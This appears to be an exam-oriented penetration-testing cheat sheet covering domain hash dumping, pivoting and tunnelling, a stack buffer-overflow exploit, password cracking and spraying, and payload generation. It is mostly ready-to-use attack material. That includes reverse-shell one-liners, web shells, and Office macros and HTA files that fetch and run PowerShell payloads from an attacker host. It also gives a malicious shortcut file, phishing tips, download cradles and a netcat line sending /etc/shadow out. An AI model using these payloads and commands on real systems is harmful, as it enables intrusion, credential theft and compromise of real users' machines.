Every account hash in domain — Complete compromise

impacket-secretsdump <domain>/Administrator@<DC_IP> -hashes :<hash>
Example Output
impacket-secretsdump corp.local/Administrator@10.10.10.5 -hashes :31d6cfe...
Administrator:500:aad3b...:31d6cfe...
krbtgt:502:aad3b...:f3bc61...
john.smith:1001:aad3b...:8846f7...
(1247 accounts dumped - full domain compromise)

Access any machine

SYSTEM on any domain machine — Prove impact for report

impacket-psexec <domain>/Administrator@<target> -hashes :<hash>
Example Output
impacket-psexec corp.local/Administrator@10.10.10.20 -hashes :31d6cfe...
C:\Windows\system32> whoami
nt authority\system
(SYSTEM on any machine in the domain)

Flag collection

Exam flag files — Screenshot with whoami & ipconfig

type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\<user>\Desktop\local.txt
Example Output
type C:\Users\Administrator\Desktop\proof.txt
<flag_hash_here>

SCREENSHOT MUST INCLUDE:
- The flag content
- whoami output
- ipconfig output
- All in same terminal window

🔀 Pivoting & Tunneling

Accessing internal networks through compromised hosts.


IDENTIFY PIVOT TARGETS

Check interfaces on foothold

Multiple NICs = dual-homed — Gateway to internal network

ip a
ifconfig
ipconfig /all
Example Output
ip a
2: eth0: <BROADCAST> mtu 1500
    inet 10.10.14.5/24
3: eth1: <BROADCAST> mtu 1500
    inet 172.16.1.5/24
(DUAL-HOMED! 172.16.1.0/24 is internal network)

Check routing table

Known networks — Map internal subnets

ip route
route print
netstat -rn
Example Output
ip route
default via 10.10.14.1 dev eth0
10.10.14.0/24 dev eth0
172.16.1.0/24 dev eth1
(Can reach 172.16.1.0/24 internal network)

Check ARP cache

Recently contacted hosts — Active internal hosts

arp -a
ip neigh
Example Output
arp -a
? (172.16.1.1) at aa:bb:cc:dd:ee:ff [ether] on eth1
? (172.16.1.10) at aa:bb:cc:dd:ee:01 [ether] on eth1
? (172.16.1.20) at aa:bb:cc:dd:ee:02 [ether] on eth1
(3 hosts alive on internal network)

Ping sweep internal network

Find live hosts — Discover internal targets

for i in $(seq 1 254); do (ping -c 1 10.10.10.$i | grep 'bytes from' &); done
Example Output
for i in $(seq 1 254); do ping -c 1 172.16.1.$i; done
172.16.1.1: bytes from (gateway)
172.16.1.10: bytes from (host alive)
172.16.1.20: bytes from (host alive)
172.16.1.100: bytes from (host alive)

Port scan from pivot

Bash port scanner (no tools) — When you can't upload nmap

for port in 21 22 25 53 80 88 135 139 389 443 445 636 1433 3306 3389 5985 8080; do (echo > /dev/tcp/10.10.10.X/$port) 2>/dev/null && echo "$port open"; done
Example Output
for port in 22 80 445 3389; do
  (echo > /dev/tcp/172.16.1.10/$port) 2>/dev/null && echo "$port open"
done
22 open
80 open
445 open
(Found 3 open ports on internal host)

SSH TUNNELING

Local port forward

Access internal:80 via your localhost:8080 — Browse internal web apps

ssh -L 8080:INTERNAL_TARGET:80 user@PIVOT_HOST
Example Output
ssh -L 8080:172.16.1.10:80 john@10.10.14.5

Now browse: http://127.0.0.1:8080
(You see internal web app on 172.16.1.10:80)

Remote port forward

Make your port accessible from pivot — Expose your tools to internal net

ssh -R 9090:127.0.0.1:80 user@ATTACKER_IP
Example Output
ssh -R 9090:127.0.0.1:80 attacker@10.10.14.2

On attacker: curl http://127.0.0.1:9090
(Access pivot's localhost:80 from your machine)

Dynamic SOCKS proxy

SOCKS proxy through pivot — Route any tool through pivot

ssh -D 1080 user@PIVOT_HOST
Example Output
ssh -D 1080 john@10.10.14.5

Edit /etc/proxychains4.conf:
socks5 127.0.0.1 1080

proxychains nmap -sT -Pn 172.16.1.10
(Scan internal network through pivot)

Use SOCKS proxy

Prepend proxychains to any command — Edit /etc/proxychains4.conf: socks5 127.0.0.1 1080

proxychains nmap -sT -Pn INTERNAL_TARGET
proxychains crackmapexec smb INTERNAL_TARGET
Example Output
proxychains nmap -sT -Pn 172.16.1.10
ProxyChains | S-chain |->127.0.0.1:1080

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
445/tcp open  microsoft-ds
(Scanning internal network through pivot)

SSH with key + tunnel

Multiple port forwards at once — Forward several services

ssh -i id_rsa -L 445:DC_IP:445 -L 5985:DC_IP:5985 user@PIVOT
Example Output
ssh -i id_rsa -L 445:172.16.1.10:445 -L 5985:172.16.1.10:5985 john@10.10.10.5

Now on attacker:
crackmapexec smb 127.0.0.1 -u admin -p Pass
evil-winrm -i 127.0.0.1 -u admin -p Pass
(Multiple internal ports forwarded at once)

Persistent SSH tunnel

Background tunnel — -f background, -N no commands, -T no TTY

ssh -fNT -L 8080:INTERNAL:80 user@PIVOT
Example Output
ssh -fNT -L 8080:172.16.1.10:80 john@10.10.10.5

(Returns to prompt, tunnel runs in background)
curl http://127.0.0.1:8080
(Access internal web app while working)

CHISEL (NO SSH NEEDED)

Start chisel server (attacker)

Run on your machine — Listens for client connections

chisel server --reverse --port 8000
Example Output
chisel server --reverse --port 8000
2026/02/24 server: Listening on http://0.0.0.0:8000
2026/02/24 server: session#1: Client connected
(Waiting for agent connections)

Chisel client - reverse SOCKS

Run on pivot host — Creates SOCKS5 proxy on attacker:1080

chisel client ATTACKER_IP:8000 R:socks
Example Output
Attacker: chisel server --reverse --port 8000
Pivot:    chisel client 10.10.14.2:8000 R:socks

[server] session#1: tun created
[server] session#1: proxy 127.0.0.1:1080

proxychains nmap -sT -Pn 172.16.1.10
(SOCKS proxy without SSH)

Chisel client - port forward

Forward specific port — Access internal:80 on your localhost:8080

chisel client ATTACKER_IP:8000 R:8080:INTERNAL_TARGET:80
Example Output
Attacker: chisel server --reverse --port 8000
Pivot:    chisel client 10.10.14.2:8000 R:8080:172.16.1.10:80

[server] session#1: tun created
[server] Reverse port forwarding 0.0.0.0:8080 => 172.16.1.10:80

curl http://127.0.0.1:8080
(Specific port forward instead of full SOCKS proxy)

Use with proxychains

Route tools through tunnel — Same as SSH SOCKS proxy

proxychains nmap -sT -Pn INTERNAL_IP
proxychains evil-winrm -i INTERNAL_IP -u user -p pass
Example Output
proxychains crackmapexec smb 172.16.1.0/24 -u john -p Password1
172.16.1.10  [+] corp\john (Pwn3d!)
172.16.1.20  [-] corp\john
172.16.1.30  [+] corp\john (Pwn3d!)
(Enumerated entire internal subnet through chisel)

Chisel Windows client

Works on Windows too — Upload chisel.exe to target

chisel.exe client ATTACKER_IP:8000 R:socks
Example Output
chisel.exe client 10.10.14.2:8000 R:socks
2026/02/24 client: Connected

(Same as Linux client, works on Windows targets)
proxychains from attacker now reaches internal net

LIGOLO-NG (ADVANCED PIVOTING)

Start proxy (attacker)

Run on attacker — Proxy server

ligolo-proxy -selfcert -laddr 0.0.0.0:443
Example Output
ligolo-proxy -selfcert -laddr 0.0.0.0:443
INFO[0000] Listening on 0.0.0.0:443

Agent connects:
INFO[0005] Agent joined: john@pivot (172.16.1.5)

>> session
>> autoroute
>> start
(Direct access to 172.16.1.0/24, no proxychains needed)

Start agent (pivot)

Run on pivot host — Connects back to proxy

ligolo-agent -connect ATTACKER_IP:443 -ignore-cert
Example Output
./ligolo-agent -connect 10.10.14.2:443 -ignore-cert
[*] Connection established
[*] Waiting for proxy configuration
(Agent running on pivot, connected to your proxy)

Add route and start tunnel

In ligolo proxy interface — Adds route to internal network

session (select session)
autoroute
start
Example Output
ligolo>> session
  1 - john@pivot - 172.16.1.5
ligolo>> autoroute
[+] Route 172.16.1.0/24 added
ligolo>> start
[+] Tunnel started
(Direct access to internal network, no proxychains needed)

Access internal network directly

No proxychains needed — Transparent tunnel

nmap INTERNAL_IP
crackmapexec smb INTERNAL_IP
Example Output
nmap -sT -Pn 172.16.1.10
crackmapexec smb 172.16.1.10
evil-winrm -i 172.16.1.10

(All tools work directly, no proxychains prefix needed)
(This is the main advantage of ligolo over chisel)

Add listeners for reverse shells

Forward reverse shells through tunnel — Internal targets connect to pivot, you get shell

listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
Example Output
ligolo>> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp

On internal target: reverse shell to 172.16.1.5:4444
Shell arrives at your machine on port 4444
(Reverse shells route through the tunnel)

WINDOWS PORT FORWARDING

netsh port forward

Built-in Windows forwarding — No tools needed

netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP
Example Output
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.1.10

Now from attacker:
curl http://PIVOT_IP:8080
(Access internal web app through Windows pivot)

Remove netsh forward

Cleanup — Remove when done

netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
Example Output
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

(Clean up after yourself)
(Important for reporting - document cleanup steps)

Show netsh forwards

List active forwards — Verify setup

netsh interface portproxy show all
Example Output
netsh interface portproxy show all

Listen on ipv4:    Connect to ipv4:
Address  Port     Address       Port
0.0.0.0  8080     172.16.1.10   80
0.0.0.0  4445     172.16.1.10   445
(Verify your port forwards are active)

plink.exe (PuTTY SSH)

SSH tunnel from Windows — If SSH client not available

plink.exe -L 8080:INTERNAL:80 user@ATTACKER_IP
Example Output
plink.exe -ssh -L 8080:172.16.1.10:80 attacker@10.10.14.2

OR for dynamic proxy:
plink.exe -ssh -D 1080 attacker@10.10.14.2
(SSH tunneling from Windows when OpenSSH isn't available)

PROXYCHAINS CONFIGURATION

Edit proxychains config

Point to your SOCKS proxy — Match port from SSH -D or chisel

nano /etc/proxychains4.conf
Set: socks5 127.0.0.1 1080
Example Output
nano /etc/proxychains4.conf

# Add at bottom:
socks5 127.0.0.1 1080

# Make sure only ONE proxy line is uncommented
# Match port to your SSH -D or chisel SOCKS port

Use strict_chain

Sequential proxy chain — Most reliable for single pivot

Set: strict_chain
Comment out: random_chain, dynamic_chain
Example Output
/etc/proxychains4.conf:
strict_chain  <- uncomment this
#random_chain <- comment this
#dynamic_chain <- comment this

(strict = goes through proxies in order, most reliable)

Nmap through proxychains

Must use -sT (TCP connect) Must use -Pn (no ping) — SYN scan won't work through SOCKS

proxychains nmap -sT -Pn -p 21,22,80,443,445,3389 INTERNAL_IP
Example Output
proxychains nmap -sT -Pn -p 21,22,80,445,3389 172.16.1.10

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
445/tcp open  microsoft-ds
(Internal host enumeration through pivot)

Full toolkit through proxy

Any tool through proxy — Treat internal network as local

proxychains crackmapexec smb INTERNAL/24
proxychains evil-winrm -i INTERNAL_IP
proxychains impacket-psexec domain/user@INTERNAL_IP
Example Output
proxychains evil-winrm -i 172.16.1.10 -u admin -p Pass
proxychains impacket-psexec corp/admin@172.16.1.10
proxychains xfreerdp /u:admin /p:Pass /v:172.16.1.10
proxychains smbclient //172.16.1.10/C$ -U admin
(Every tool works through the proxy)

💥 Buffer Overflow

Structured methodology for stack-based buffer overflow exploitation.


METHODOLOGY

1. Fuzzing — Find the crash point

Send increasing payloads to identify the approximate crash offset

import socket
buffer = b"A" * 100
while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("$IP", 9999))
        s.send(buffer + b"\r\n")
        s.close()
        buffer += b"A" * 100
    except:
        print(f"Crashed at {len(buffer)} bytes")
        break
Example Output
Crashed at 2500 bytes

2. Find exact offset

Use pattern_create to find EIP offset — Tells you exactly where EIP is

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
# Send the pattern as payload, note EIP value
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2500 -q <EIP_VALUE>
Example Output
[*] Exact match at offset 2003
EIP is at bytes 2003-2006

3. Confirm EIP control

Overwrite EIP with known value — Verify you control execution flow

offset = 2003
buffer = b"A" * offset + b"B" * 4 + b"C" * (2500 - offset - 4)
# EIP should be 42424242 (BBBB)

4. Find bad characters

Send all bytes 0x00-0xFF — Identify characters that break the shellcode

badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
    b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
    # ... continue through 0xff
)
# \x00 is almost always bad - exclude it
# Compare in debugger: any byte that doesn't appear or corrupts following bytes = bad

5. Find JMP ESP

Locate a JMP ESP instruction in a module without ASLR/DEP — This becomes your return address

# In Immunity Debugger with mona:
!mona jmp -r esp -cpb "\x00"
# Or find manually:
!mona modules  # Find module with no protections
!mona find -s "\xff\xe4" -m <module.dll>
Example Output
0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll]
ASLR: False, Rebase: False, SafeSEH: False
Use this address as your EIP overwrite (little endian)

6. Generate shellcode

msfvenom payload excluding bad chars — Reverse shell or bind shell

msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -b "\x00" -f python -v shellcode

7. Final exploit

Combine all components — NOP sled + shellcode

import socket

offset = 2003
jmp_esp = b"\xaf\x11\x50\x62"  # 0x625011af in little endian
nop_sled = b"\x90" * 16
shellcode = b""  # paste msfvenom output here

buffer = b"A" * offset + jmp_esp + nop_sled + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("$IP", 9999))
s.send(buffer + b"\r\n")
s.close()

QUICK CHECKLIST

BOF exploit development order

Follow this exact order every time — Don't skip steps

1. Fuzz → find approximate crash length
2. pattern_create → find exact EIP offset
3. Confirm EIP control with "BBBB" (0x42424242)
4. Bad chars → test 0x01-0xFF (0x00 always bad)
5. JMP ESP → find in unprotected module
6. Shellcode → msfvenom with -b for bad chars
7. Exploit → offset + JMP ESP + NOPs + shellcode

COMMON BAD CHARACTERS

Usual suspects

These are frequently bad — Always test all 256 though

\x00  Null byte (almost always bad)
\x0a  Line feed (\n)
\x0d  Carriage return (\r)
\x25  Percent (%)
\x2b  Plus (+)
\x2f  Forward slash (/)
\x5c  Backslash (\)

🔓 Password Attacks

Cracking, spraying, and credential attacks.


HASH CRACKING

Identify hash type

Determine algorithm before cracking — hashid or hash length

hashid '$2y$10$abc...'
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
hash-identifier
Example Output
MD5: 32 hex chars
SHA1: 40 hex chars
SHA256: 64 hex chars
SHA512: 128 hex chars
bcrypt: $2a$ or $2y$ prefix
NTLMv2: username::domain:challenge:hash

Hashcat common modes

Quick reference for hash modes — Use hashcat -m

hashcat -m 0    hash.txt wordlist.txt   # MD5
hashcat -m 100  hash.txt wordlist.txt   # SHA1
hashcat -m 1000 hash.txt wordlist.txt   # NTLM
hashcat -m 1800 hash.txt wordlist.txt   # sha512crypt ($6$)
hashcat -m 500  hash.txt wordlist.txt   # md5crypt ($1$)
hashcat -m 3200 hash.txt wordlist.txt   # bcrypt
hashcat -m 13100 hash.txt wordlist.txt  # Kerberoast (TGS-REP)
hashcat -m 18200 hash.txt wordlist.txt  # AS-REP Roast
hashcat -m 5600 hash.txt wordlist.txt   # NTLMv2
hashcat -m 1600 hash.txt wordlist.txt   # Apache $apr1$ MD5

Hashcat with rules

Rules dramatically increase hit rate — Best rules for common passwords

hashcat -m 1000 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hash.txt wordlist.txt -r /usr/share/hashcat/rules/rockyou-30000.rule
hashcat -m 1000 hash.txt wordlist.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

John the Ripper

Alternative cracker — Good for mixed formats and auto-detect

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --wordlist=wordlist.txt --rules=best64
john --show hash.txt

Crack /etc/shadow

Unshadow then crack — Linux password hashes

unshadow /etc/passwd /etc/shadow > unshadowed.txt
hashcat -m 1800 unshadowed.txt /usr/share/wordlists/rockyou.txt

Crack zip/rar/pdf passwords

Extract hash then crack — Use *2john tools

zip2john protected.zip > zip.hash
rar2john protected.rar > rar.hash
pdf2john protected.pdf > pdf.hash
keepass2john database.kdbx > keepass.hash
ssh2john id_rsa > ssh.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

ONLINE BRUTE FORCE

Hydra common services

Target specific services — Adjust threads for reliability

hydra -l admin -P wordlist.txt $IP ssh -t 4
hydra -l admin -P wordlist.txt $IP ftp
hydra -l admin -P wordlist.txt $IP rdp
hydra -l admin -P wordlist.txt $IP smb
hydra -L users.txt -P wordlist.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

CrackMapExec password spraying

Spray one password across many users — Avoid lockouts

crackmapexec smb $IP -u users.txt -p 'Password1' --continue-on-success
crackmapexec smb $IP -u users.txt -p 'Summer2025!' --continue-on-success
crackmapexec winrm $IP -u users.txt -p 'Password1'

Custom wordlist generation

Create targeted wordlists — Company name, season, year patterns

# CeWL - scrape website for words
cewl http://$IP -m 5 -w cewl.txt

# Common patterns to try:
# CompanyName2025!
# Season+Year (Summer2025, Winter2024!)
# City+Numbers (London123)
# Username+123 or +! or +2025

Mutate wordlists

Add common suffixes/prefixes — Catch lazy password policies

# Using hashcat rules on a wordlist:
hashcat --stdout wordlist.txt -r /usr/share/hashcat/rules/best64.rule > mutated.txt

# Quick manual mutations:
for word in $(cat base.txt); do
  echo "${word}1"; echo "${word}!"; echo "${word}123"
  echo "${word}2025"; echo "${word}2024"
done > mutated.txt

🧪 Payload Generation

msfvenom payloads, web shells, and reverse shell one-liners.


MSFVENOM

Windows reverse shell (staged)

Staged payload — Smaller size, requires meterpreter handler

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o shell.exe

Windows reverse shell (stageless)

Self-contained payload — Works with nc listener, more reliable

msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o shell.exe

Linux reverse shell

ELF binary — chmod +x and execute

msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f elf -o shell.elf

Java WAR (Tomcat)

Deploy via Tomcat manager — JSP reverse shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f war -o shell.war

ASP/ASPX (IIS)

Upload to IIS web root — Windows web servers

msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f asp -o shell.asp
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f aspx -o shell.aspx

PHP reverse shell

Upload or inject — Most common web shell format

msfvenom -p php/reverse_php LHOST=$LHOST LPORT=4444 -o shell.php

MSI installer (AlwaysInstallElevated)

Abuse misconfigured Windows policy — Runs as SYSTEM

msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f msi -o shell.msi
# On target: msiexec /quiet /qn /i shell.msi

DLL hijacking payload

Replace a DLL the service loads — Runs as service account

msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f dll -o hijack.dll

Encoding to bypass basic AV

Shikata_ga_nai encoder — Multiple iterations

msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

WEB SHELLS

PHP one-liner

Simplest possible web shell — Upload or inject

<?php system($_GET['cmd']); ?>

PHP reverse shell (Pentest Monkey)

Full interactive reverse shell — Most reliable PHP shell

cp /usr/share/webshells/php/php-reverse-shell.php shell.php
# Edit LHOST and LPORT in the file
# Upload and visit the URL to trigger

ASPX web shell

For IIS servers — Upload to web root

<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["cmd"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%>

JSP web shell

For Tomcat/Java servers — Deploy as WAR or upload directly

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

REVERSE SHELL ONE-LINERS

Bash

Most reliable on Linux — Try this first

bash -i >& /dev/tcp/$LHOST/4444 0>&1

Python

Available on most Linux systems — Python 2 or 3

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$LHOST",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

PowerShell

Windows reverse shell — Encode to bypass restrictions

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('$LHOST',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Netcat (with -e)

If nc has -e flag — Simple and reliable

nc -e /bin/bash $LHOST 4444

Netcat (without -e)

FIFO pipe method — Works when nc doesn't have -e

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $LHOST 4444 >/tmp/f

SHELL UPGRADES

Upgrade to interactive TTY

First thing after catching a shell — Gives tab complete, Ctrl+C safety

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then Ctrl+Z to background
stty raw -echo; fg
export TERM=xterm

🎣 Client-Side Attacks

Phishing payloads, macro attacks, and client-side exploitation.


OFFICE MACROS

VBA reverse shell macro

Embed in Word/Excel document — Runs when macros are enabled

Sub AutoOpen()
    Dim cmd As String
    cmd = "powershell -nop -w hidden -e <BASE64_PAYLOAD>"
    Shell cmd, vbHide
End Sub

Generate base64 PowerShell payload

Encode reverse shell for macro embedding — Avoids special character issues

# Create payload.ps1:
$client = New-Object System.Net.Sockets.TCPClient('$LHOST',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# Encode:
cat payload.ps1 | iconv -t UTF-16LE | base64 -w 0

Macro with download and execute

Download payload from your server then execute — Two-stage delivery

Sub AutoOpen()
    Shell "powershell -nop -w hidden IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')", vbHide
End Sub

HTA FILES

HTA reverse shell

HTML Application — Runs as fully trusted application in Windows

<html>
<body>
<script language="VBScript">
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -nop -w hidden -e <BASE64_PAYLOAD>", 0
</script>
</body>
</html>

Serve HTA file

Host on your attack box — Victim clicks link or is redirected

# Save as shell.hta
# Serve it:
python3 -m http.server 80
# Victim visits: http://$LHOST/shell.hta

LIBRARY FILES

Windows Library file (.library-ms)

Create a library file pointing to attacker WebDAV — Captures hashes or serves payloads

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\$LHOST\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

SHORTCUT FILES

Malicious .lnk file

Create shortcut that executes PowerShell — Placed in writable shares

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\evil.lnk")
$lnk.TargetPath = "cmd.exe"
$lnk.Arguments = "/c powershell -nop -w hidden -e <BASE64>"
$lnk.IconLocation = "C:\Windows\System32\shell32.dll,3"
$lnk.Save()

DELIVERY METHODS

Python HTTP server

Quick file hosting — Serve payloads to target

python3 -m http.server 80
# Target downloads: certutil -urlcache -f http://$LHOST/shell.exe shell.exe
# Or: wget http://$LHOST/shell.elf -O /tmp/shell

SMB share for delivery

Serve files via SMB — Works when HTTP is blocked

impacket-smbserver share $(pwd) -smb2support
# Target: copy \\$LHOST\share\shell.exe C:\Windows\Temp\shell.exe

Phishing email considerations

Social engineering the delivery — Make it convincing

- Match sender domain to target organization
- Reference internal projects or people
- Create urgency (invoice, deadline, IT update)
- Use file types the target expects (.docx, .xlsx)
- Test payload delivery before sending

File Transfers

Every method for moving files to and from targets.


LINUX TARGET

Python HTTP server + wget/curl

Most common method — Works on almost every Linux target

# On attacker:
python3 -m http.server 80

# On target:
wget http://$LHOST/file -O /tmp/file
curl http://$LHOST/file -o /tmp/file

Netcat file transfer

No HTTP needed — Direct TCP transfer

# On attacker (send):
nc -lvnp 4444 < file.txt
# On target (receive):
nc $LHOST 4444 > file.txt

SCP (via SSH)

Encrypted transfer — If you have SSH credentials

scp file.txt user@$IP:/tmp/file.txt
scp user@$IP:/etc/passwd ./passwd

Base64 encode/decode

No network transfer needed — Copy/paste through shell

# On attacker:
base64 -w 0 file.bin
# On target:
echo "BASE64STRING" | base64 -d > file.bin

/dev/tcp (bash only)

No tools needed — Bash built-in

# Attacker: nc -lvnp 4444 > file.txt
# Target:
cat /etc/passwd > /dev/tcp/$LHOST/4444

WINDOWS TARGET

certutil

Built into Windows — Download files via HTTP

certutil -urlcache -f http://$LHOST/shell.exe C:\Windows\Temp\shell.exe

PowerShell download cradles

Multiple methods — Try each if one is blocked

# DownloadFile (saves to disk):
(New-Object Net.WebClient).DownloadFile('http://$LHOST/shell.exe','C:\Windows\Temp\shell.exe')

# DownloadString (in-memory execution):
IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')

# Invoke-WebRequest (PowerShell 3+):
Invoke-WebRequest -Uri http://$LHOST/shell.exe -OutFile C:\Windows\Temp\shell.exe

SMB share

Serve files via SMB — Often works when HTTP is blocked

# On attacker:
impacket-smbserver share $(pwd) -smb2support
# On target:
copy \\$LHOST\share\shell.exe C:\Windows\Temp\shell.exe

Bitsadmin

Built-in Windows tool — Alternative to certutil

bitsadmin /transfer job /download /priority high http://$LHOST/shell.exe C:\Windows\Temp\shell.exe

Windows FTP (non-interactive)

Script FTP commands — Bypass interactive prompt

echo open $LHOST> ftp.txt
echo USER anonymous>> ftp.txt
echo binary>> ftp.txt
echo GET shell.exe>> ftp.txt
echo bye>> ftp.txt
ftp -s:ftp.txt

EXFILTRATION

Netcat exfil

Send files back to attacker — Simple TCP

# Attacker: nc -lvnp 4444 > loot.txt
# Target: nc $LHOST 4444 < /etc/shadow

Compiling Exploits

Cross-compiling C/C++ exploits for Linux and Windows targets.


Compile for Linux (on Kali)

Native compilation — Match target architecture

gcc exploit.c -o exploit            # 64-bit
gcc -m32 exploit.c -o exploit       # 32-bit
gcc exploit.c -o exploit -static    # Static (no library deps)
gcc exploit.c -o exploit -lpthread -lcrypt  # Common libs

Cross-compile for Windows (on Kali)

Use mingw — Create Windows executables from Linux

x86_64-w64-mingw32-gcc exploit.c -o exploit.exe        # 64-bit
i686-w64-mingw32-gcc exploit.c -o exploit.exe           # 32-bit
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32  # With winsock
# Install: sudo apt install mingw-w64 -y

SearchSploit workflow

Find, mirror, and compile

searchsploit <service version>
searchsploit -m <exploit_id>
head -30 exploit.c   # Read compile instructions in comments
gcc exploit.c -o exploit
python3 -m http.server 80

Check target arch first

Match your compilation to the target

uname -m     # x86_64 = 64-bit, i686 = 32-bit (-m32)
file /bin/ls # Confirms ELF format and arch

Common compilation errors

Fix missing dependencies

# "cannot find -l<library>": apt-get install lib<name>-dev
# "fatal error: <header>.h": apt-get install linux-headers-$(uname -r)
# glibc mismatch: compile with -static

Restricted Shell Escapes

Breaking out of rbash, rksh, rzsh, and limited shells.


Identify restricted shell

Check what you're working with

echo $SHELL
echo $0
echo $PATH

SSH escape

Bypass restricted shell at login

ssh user@$IP -t bash
ssh user@$IP -t /bin/sh
ssh user@$IP -t "bash --noprofile"

vi / vim escape

Open vi then spawn shell

vi
:set shell=/bin/bash
:shell
# Or: :!/bin/bash

awk / find / nmap escape

Common binary escapes

awk 'BEGIN {system("/bin/bash")}'
find / -exec /bin/bash \;
nmap --interactive  # nmap < 5.35
!sh

Python/Perl/Ruby escape

Scripting language shells

python3 -c 'import os; os.system("/bin/bash")'
perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'

less/more/man escape

Pager commands — Drop to shell

less /etc/passwd
!/bin/bash

man man
!/bin/bash

PATH manipulation

If PATH is restricted — Set it manually

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

ed / expect escape

Less common escapes

ed
!'/bin/bash'

expect -c 'spawn /bin/bash; interact'

Port Knocking

Detecting and executing port knock sequences to open hidden services.


Detect port knocking

Look for knockd configuration — Reveals the knock sequence

cat /etc/knockd.conf
Example Output
[openSSH]
    sequence = 7000,8000,9000
    seq_timeout = 5
    command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

Knock with nmap

Send SYN packets to ports in sequence

for port in 7000 8000 9000; do nmap -Pn --host-timeout 100 --max-retries 0 -p $port $IP; done

Knock with knock client

Dedicated knock client — Clean and simple

# apt install knockd
knock $IP 7000 8000 9000
ssh user@$IP

Knock with nc or bash

No tools needed

# nc:
for port in 7000 8000 9000; do nc -zw1 $IP $port; done
# bash:
for port in 7000 8000 9000; do echo >/dev/tcp/$IP/$port 2>/dev/null; done

Find knock sequences

If you can't read knockd.conf

iptables -L -n
ps aux | grep knock
cat /home/*/.bash_history | grep -i knock

Steganography

Detecting and extracting hidden data in files.


Check file metadata first

exiftool reveals hidden comments, GPS data, embedded files

exiftool image.jpg
exiftool -b -ThumbnailImage image.jpg > thumbnail.jpg
